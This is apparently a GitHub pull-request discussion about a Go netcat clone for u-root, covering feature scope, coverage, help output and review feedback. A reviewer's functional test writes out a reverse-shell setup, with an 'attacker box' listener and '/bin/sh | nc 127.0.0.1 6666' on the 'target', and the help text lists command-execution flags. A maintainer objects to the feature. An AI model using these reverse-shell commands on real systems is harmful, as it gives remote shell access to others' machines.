cmd/core/netcat
TODOs
Some netcat functionality may be outdated and not really necessary. They are marked using a (?)
- [x] cli representation
- [x] argument parsing
- [ ] TLS
- [x] TCP
- [x] UDP
- [ ] TLS Options
- [x] Enabled
- [x] CertFilePath
- [x] KeyFilePath
- [x] VerifyTrust
- [x] TrustFilePath
- [ ] Ciphers (?)
- [x] SNI
- [x] ALPN
- [x] socket options (?)
- [x] testing
- [ ] Listen Options
- [x] Max Connections
- [x] KeepOpen
- [ ] BrokerMode (?)
- [ ] Chat Mode (?)
- [x] AccessControl (allow, deny)
- [x] CommandExec
- [x] Native
- [x] Shell
- [ ] Lua (?)
- [x] OutputOptions
- [x] Outfile
- [x] OutHex
- [x] AppendOutput
- [x] Verbose
- [ ] Misc
- [x] EOL character
- [x] RecvOnly
- [x] SendOnly
- [x] NoShutdown
- [x] NoDns
- [ ] Telnet (?)
- [x] Timing Options
- [x] Delay
- [x] Timeout
- [x] Wait
- [ ] Proxy (?)
- [ ] Address
- [ ] DNS
- [ ] Type
- [ ] AuthType
- [ ] Connection Mode Options
- [x] Source Host
- [x] Source Port
- [x] ZERO I/O
- [ ] LooseSourceRouterPoints (?)
- [ ] LooseSourcePointer (?)
- [ ] tinygo adjustment
- [ ] net.Dial is only implemented for "tcp", "tcp4", "udp", and "udp4".
- [ ] Not more than <boardconfig> many connections
There are some yet unimplemented options I would like to have more opinions on:
- TCP, udp, UNIX are supported now. Do we want to support VSOCK and SCTP? If so we need to add more pkgs outside of stdlib.
- Do we want to support broker and chat-mode? is there a use-case?
- Telnet Support? -> external library and obscure
- netcat got an inbuild lua-interpreter, so the exec-lua flag would require a lua interpreter
- Do we want the proxy flags?
golang.org/x/net/proxywould be needed - In my understanding LooseSourceRouterPoints & LooseSourcePointer would need some very low-level manipulation of IP-Headers. I would discourage from adding these flags.
- SSL Cipher parsing of netcat is not straightforward: https://www.openssl.org/docs/man1.0.2/man1/ciphers.html
Codecov Report
Attention: Patch coverage is 71.41268% with 257 lines in your changes missing coverage. Please review.
Project coverage is 59.39%. Comparing base (
1cf952c) to head (379cc3e).
Additional details and impacted files
@@ Coverage Diff @@
## main #3013 +/- ##
==========================================
+ Coverage 59.11% 59.39% +0.27%
==========================================
Files 534 547 +13
Lines 33452 34277 +825
==========================================
+ Hits 19775 20358 +583
- Misses 13677 13919 +242
| Flag | Coverage Δ | |
|---|---|---|
| .-amd64 | 90.69% <ø> (ø) |
|
| cmds/...-amd64 | 48.27% <55.42%> (+0.13%) |
:arrow_up: |
| integration/generic-tests/...-amd64 | 20.16% <ø> (ø) |
|
| integration/generic-tests/...-arm | 11.69% <ø> (ø) |
|
| integration/generic-tests/...-arm64 | 24.46% <ø> (ø) |
|
| integration/gotests/...-amd64 | 62.51% <93.85%> (+0.56%) |
:arrow_up: |
| integration/gotests/...-arm | 63.59% <93.85%> (+0.46%) |
:arrow_up: |
| integration/gotests/...-arm64 | 63.78% <93.85%> (+0.58%) |
:arrow_up: |
| pkg/...-amd64 | 60.35% <93.85%> (+0.63%) |
:arrow_up: |
Flags with carried forward coverage won't be shown. Click here to find out more.
| Components | Coverage Δ | |
|---|---|---|
| everything | 65.34% <71.41%> (+0.16%) |
:arrow_up: |
| cmds/exp | 31.68% <ø> (ø) |
There are some yet unimplemented options I would like to have more opinions on:
- TCP, udp, UNIX are supported now. Do we want to support VSOCK and SCTP? If so we need to add more pkgs outside of stdlib.
Yes for VSOCK, and SCTP
What are the packages needed here ? could you show how much binary size will increase by these two feature ?
- Do we want to support broker and chat-mode? is there a use-case? Yes please.
frankly, I don't know of active use case from my end. But who knows if we put it out there
- Telnet Support? -> external library and obscure
What are additional pkgs needed ? How much additional effort in days needed ?
if substantial, I think we can close the tab for first iteration w/o it, and follow up in second round.
- netcat got an inbuild lua-interpreter, so the exec-lua flag would require a lua interpreter
I think we can shrug about this one. you may add the flag, but saying no lua interpreter found or sth.
- Do we want the proxy flags?
golang.org/x/net/proxywould be needed yes. -- ok to have this std pkg.
- In my understanding LooseSourceRouterPoints & LooseSourcePointer would need some very low-level manipulation of IP-Headers. I would discourage from adding these flags. I'd say we want this. with some reading, I see opportunity on hacking with this, just not in any production deployed machine.
Let me know if this takes substantial amount of work / time. we can get to this in second round.
- SSL Cipher parsing of netcat is not straightforward: https://www.openssl.org/docs/man1.0.2/man1/ciphers.html
what input do you need ? or this is a pure observation, and indicating this need additional time to investigate ?
There are some yet unimplemented options I would like to have more opinions on:
- TCP, udp, UNIX are supported now. Do we want to support VSOCK and SCTP? If so we need to add more pkgs outside of stdlib.
Yes for VSOCK, and SCTP What are the packages needed here ? could you show how much binary size will increase by these two feature ?
I have added support for VSOCK (over TCP) and SCTP. The binary increased from ~ 6157 KB to 6431 KB.
- Do we want to support broker and chat-mode? is there a use-case? Yes please.
frankly, I don't know of active use case from my end. But who knows if we put it out there
Implemented both.
- Telnet Support? -> external library and obscure
What are additional pkgs needed ? How much additional effort in days needed ?
- In my understanding LooseSourceRouterPoints & LooseSourcePointer would need some very low-level manipulation of IP-Headers. I would discourage from adding these flags. I'd say we want this. with some reading, I see opportunity on hacking with this, just not in any production deployed machine.
This would both require some complete custom middlewares. I would argue that I will bring a lot of unwanted complexity and effort for little benefit. This could take at least a few days, I would like to rather spend the time adding more options to the IP cmd.
- netcat got an inbuild lua-interpreter, so the exec-lua flag would require a lua interpreter
I think we can shrug about this one. you may add the flag, but saying no lua interpreter found or sth.
Done.
- Do we want the proxy flags?
golang.org/x/net/proxywould be needed yes. -- ok to have this std pkg.Let me know if this takes substantial amount of work / time. we can get to this in second round.
I will add the proxy flags, should be relatively straightforward.
- SSL Cipher parsing of netcat is not straightforward: https://www.openssl.org/docs/man1.0.2/man1/ciphers.html
what input do you need ? or this is a pure observation, and indicating this need additional time to investigate ?
We would need to implement a parser for translating the OpenSSL Cipher Spec into Ciphers that can be interpreted by the std-lib TLS pkg. I would estimate this to take a few days again.
could you remove this extra print ? -- also we removed pflag in a recent PR (https://github.com/u-root/u-root/pull/3004), we should drop pflag here too.
pflag: help requested
error: exit status 2
from the end of netcat --help?
> netcat --help
Usage of netcat [go-style network address]:
--allow strings Allow only comma-separated list of IP addresses
--allowfile string A file of hosts allowed to connect to Ncat
--append-output Append rather than clobber specified output files
--broker Enable Ncat's connection brokering mode
--chat Start a simple Ncat chat server
-C, --crlf Use CRLF for EOL sequence
-d, --delay string Wait between read/writes (default "0ms")
--deny strings Deny given hosts from connecting to Ncat
--denyfile string A file of hosts denied from connecting to Ncat
-e, --exec string Executes the given command
-x, --hex-dump string Dump session data as hex to a file
-i, --idle-timeout string Idle read/write timeout (default "0ms")
-4, --ipv4 Use IPv4 only
-6, --ipv6 Use IPv6 only
-k, --keep-open Accept multiple connections in listen mode
-l, --listen Bind and listen for incoming connections
-G, --loose-source-pointer uint Loose source routing hop pointer (<n>)
-g, --loose-source-router-points strings Loose source routing hop points (8 max)
--lua-exec string Executes the given Lua script (filepath argument)
-m, --max-conns uint32 Maximum <n> simultaneous connections (default 100)
--no-shutdown Continue half-duplex when receiving EOF on stdin
-n, --nodns Do not resolve hostnames via DNS
-o, --output string Dump session data to a file
--proxy string Specify address of host to proxy through (<addr[:port]> )
--proxy-auth string Authenticate with HTTP or SOCKS proxy server
--proxy-dns string Specify where to resolve proxy destination
--proxy-type string Specify proxy type ('http', 'socks4', 'socks5')
--recv-only Only receive data, never send anything
--sctp Use SCTP instead of default TCP
--send-only Only send data, ignoring received; quit on EOF
-c, --sh-exec string Executes the given command via /bin/sh
-s, --source string Specify source address to use (doesn't affect -l)
-p, --source-port string Specify source port to use (default "31337")
--ssl Connect or listen with SSL
--ssl-alpn strings List of protocols to send via ALPN
--ssl-cert string Specify SSL certificate file (PEM) for listening
--ssl-ciphers strings Cipherlist containing SSL ciphers to use
--ssl-key string Specify SSL private key file (PEM) for listening
--ssl-servername string Request distinct server name (SNI)
--ssl-trustfile string PEM file containing trusted SSL certificates
--ssl-verify Verify trust and domain name of certificates
-t, --telnet Answer Telnet negotiations
-u, --udp Use UDP instead of default TCP
-U, --unixsock Use Unix domain sockets only
-v, --v Set verbosity level (can not be used several times)
--vsock Use virtual circuit (stream) sockets only
-w, --wait string Connect timeout (default "10s")
-z, --z zero-I/O mode, report connection status only
pflag: help requested
error: exit status 2
could you remove this extra print ? -- also we removed pflag in a recent PR (#3004), we should drop pflag here too.
pflag: help requested error: exit status 2from the end of
netcat --help?> netcat --help Usage of netcat [go-style network address]: --allow strings Allow only comma-separated list of IP addresses --allowfile string A file of hosts allowed to connect to Ncat --append-output Append rather than clobber specified output files --broker Enable Ncat's connection brokering mode --chat Start a simple Ncat chat server -C, --crlf Use CRLF for EOL sequence -d, --delay string Wait between read/writes (default "0ms") --deny strings Deny given hosts from connecting to Ncat --denyfile string A file of hosts denied from connecting to Ncat -e, --exec string Executes the given command -x, --hex-dump string Dump session data as hex to a file -i, --idle-timeout string Idle read/write timeout (default "0ms") -4, --ipv4 Use IPv4 only -6, --ipv6 Use IPv6 only -k, --keep-open Accept multiple connections in listen mode -l, --listen Bind and listen for incoming connections -G, --loose-source-pointer uint Loose source routing hop pointer (<n>) -g, --loose-source-router-points strings Loose source routing hop points (8 max) --lua-exec string Executes the given Lua script (filepath argument) -m, --max-conns uint32 Maximum <n> simultaneous connections (default 100) --no-shutdown Continue half-duplex when receiving EOF on stdin -n, --nodns Do not resolve hostnames via DNS -o, --output string Dump session data to a file --proxy string Specify address of host to proxy through (<addr[:port]> ) --proxy-auth string Authenticate with HTTP or SOCKS proxy server --proxy-dns string Specify where to resolve proxy destination --proxy-type string Specify proxy type ('http', 'socks4', 'socks5') --recv-only Only receive data, never send anything --sctp Use SCTP instead of default TCP --send-only Only send data, ignoring received; quit on EOF -c, --sh-exec string Executes the given command via /bin/sh -s, --source string Specify source address to use (doesn't affect -l) -p, --source-port string Specify source port to use (default "31337") --ssl Connect or listen with SSL --ssl-alpn strings List of protocols to send via ALPN --ssl-cert string Specify SSL certificate file (PEM) for listening --ssl-ciphers strings Cipherlist containing SSL ciphers to use --ssl-key string Specify SSL private key file (PEM) for listening --ssl-servername string Request distinct server name (SNI) --ssl-trustfile string PEM file containing trusted SSL certificates --ssl-verify Verify trust and domain name of certificates -t, --telnet Answer Telnet negotiations -u, --udp Use UDP instead of default TCP -U, --unixsock Use Unix domain sockets only -v, --v Set verbosity level (can not be used several times) --vsock Use virtual circuit (stream) sockets only -w, --wait string Connect timeout (default "10s") -z, --z zero-I/O mode, report connection status only pflag: help requested error: exit status 2
Thanks for the review and testing. I've dropped the pflag as requested. I will fix-up the issues as requested and report back to you.
Thanks for your testing!
I did a few tests, and it seems there are a few functionality not working on my end when I tried it,
(1) port scan --> does not work
(2) basic port scan via host name --> does not work
I added the capabilities for either variant:
But I've disabled port scanning if not zero I/O mode is specified because IMO I/O accesses and port scanning are two different utilities of ncat.
(3) Chat / Web Server --> does not work. It looks like flag specified port is not used, and default port (as specified in
pkg/netcat/const.go) is always used,
I've done a small fix, but chat mode should work as intended. The listener's port is not provided via -p but as a normal argument in listener mode. Can you try again like this?
(4): TCP Server and Client e.g. file transfer does not work, port passed from flag not honoured.
This scenario works for me:
(5) reverse shell -- does not work, complaining about DNS mode disabled.
xuehaohu@worldpeace2:~/go/src/github.com/linuxboot/linuxboot/mainboards/qemu/x86_64/bkp$ sudo ./bbin/bb netcat -lnvp 6666 [sudo] password for xuehaohu: 2024/07/04 21:10:39 error: failed to setup listener: disabling DNS resolution is not supported in listen mode xuehaohu@worldpeace2:~/go/src/github.com/linuxboot/linuxboot/mainboards/qemu/x86_64/bkp$On an ubuntu
(one terminal, simulating attacker box, listening)
xuehaohu@worldpeace:~$ sudo nc -lnvp 6666 Listening on 0.0.0.0 6666 (hanging here, before attacker box issue any cmds) Connection received on 127.0.0.1 52712 archivist_backup_240614_113429 go testdir /usr/local/google/home/xuehaohu(another terminal on same machine, simulating target machine)
xuehaohu@worldpeace:~$ xuehaohu@worldpeace:~$ xuehaohu@worldpeace:~$ /bin/sh | nc 127.0.0.1 6666 sh-5.2$ ls sh-5.2$ pwd sh-5.2$
This works for me, can you check again with the new parsing? To my knowledge the -n and -p flags are not being used in this scenario right?
Thanks for your testing!
I did a few tests, and it seems there are a few functionality not working on my end when I tried it,
(1) port scan --> does not work
(2) basic port scan via host name --> does not work
I added the capabilities for either variant:
But I've disabled port scanning if not zero I/O mode is specified because IMO I/O accesses and port scanning are two different utilities of ncat.
(3) Chat / Web Server --> does not work. It looks like flag specified port is not used, and default port (as specified in
pkg/netcat/const.go) is always used,I've done a small fix, but chat mode should work as intended. The listener's port is not provided via -p but as a normal argument in listener mode. Can you try again like this?
(4): TCP Server and Client e.g. file transfer does not work, port passed from flag not honoured.
This scenario works for me:
(5) reverse shell -- does not work, complaining about DNS mode disabled.
xuehaohu@worldpeace2:~/go/src/github.com/linuxboot/linuxboot/mainboards/qemu/x86_64/bkp$ sudo ./bbin/bb netcat -lnvp 6666
[sudo] password for xuehaohu:
2024/07/04 21:10:39 error: failed to setup listener: disabling DNS resolution is not supported in listen mode
xuehaohu@worldpeace2:~/go/src/github.com/linuxboot/linuxboot/mainboards/qemu/x86_64/bkp$
On an ubuntu
(one terminal, simulating attacker box, listening)
xuehaohu@worldpeace:~$ sudo nc -lnvp 6666
Listening on 0.0.0.0 6666
(hanging here, before attacker box issue any cmds)
Connection received on 127.0.0.1 52712
archivist_backup_240614_113429
go
testdir
/usr/local/google/home/xuehaohu
(another terminal on same machine, simulating target machine)
xuehaohu@worldpeace:~$
xuehaohu@worldpeace:~$
xuehaohu@worldpeace:~$ /bin/sh | nc 127.0.0.1 6666
sh-5.2$ ls
sh-5.2$ pwd
sh-5.2$
This works for me, can you check again with the new parsing?
To my knowledge the -n and -p flags are not being used in this scenario right?
Ack. Will give it a try
Please make sure to use the latest commit, I added some checks to write/reads which should provide more stability.
why on earth are we putting reverse shell in?
There's a LOT of common code in, e.g., the connect code for windows and linux. In fact here's the only difference:
> if c.config.ProxyConfig.Enabled {
> proxyDialer, err := c.proxyDialer(dialer)
> if err != nil {
> return nil, fmt.Errorf("connection: %
> }
>
> conn, err = proxyDialer.Dial(network, address
> if err != nil {
> return nil, fmt.Errorf("connection: %
> }
suggestion: move most of this common code to connect.go, and have a function: func proxyDial(...) in connect_linux.go, which does this different code, and in connect_other.go, which has a build tag of !linux, which just returns EOPNOTSUPPORT
all this copy-pasta code in these files is going to ge painful to track as time goes by.
For sure, there has to be a better way to do this:
diff listen_linux.go listen_windows.go
35a36,39
> if c.config.Misc.NoDNS {
> return nil, fmt.Errorf("disabling DNS resolution is not supported in listen mode")
> }
>
that's 78 lines of code which is the same, and 4 lines different. It would be nice not to have all the duplicated code.
reverse shell just seems such a bad idea.
I'm pretty tempted to say "take out plan 9 support for netcat" because the number of options, and what they enable, just seems so un-Unix and un-Plan 9 like.
my original netcat was deliberately written to do as little as possible, this thing is ... phew. telnet support? Lua interpreter? reverse shell? wtf is this?
Telnet Support and the Lua interpreter will both not be included.
isn't there some way to dedup all these big blocks of code?
The difference between plan9 and Linux/windows is now more granular. Only on the SCTP socket options are a few lines of code different between each platform (for both connect and listen mode). The diff between linux & windows was an error on my side, both impl. are the same now.
why on earth are we putting reverse shell in?
some of those functionality is indeed absurd if we think about where we will use it based on our boot use cases.
Goal was made simple to "reach parity" with GNU core utilities.
Frankly no idea when and who will use it.
@rminnich Ron I think you brought up an argument in an earlier meeting that "who knows, if we just throw it out there" for a discussion where we tried to remove a feature in another command. I agreed. So I am hoping to enforce a consistent standard.
I've refactored the code as requested. Is anything blocking the merging of this?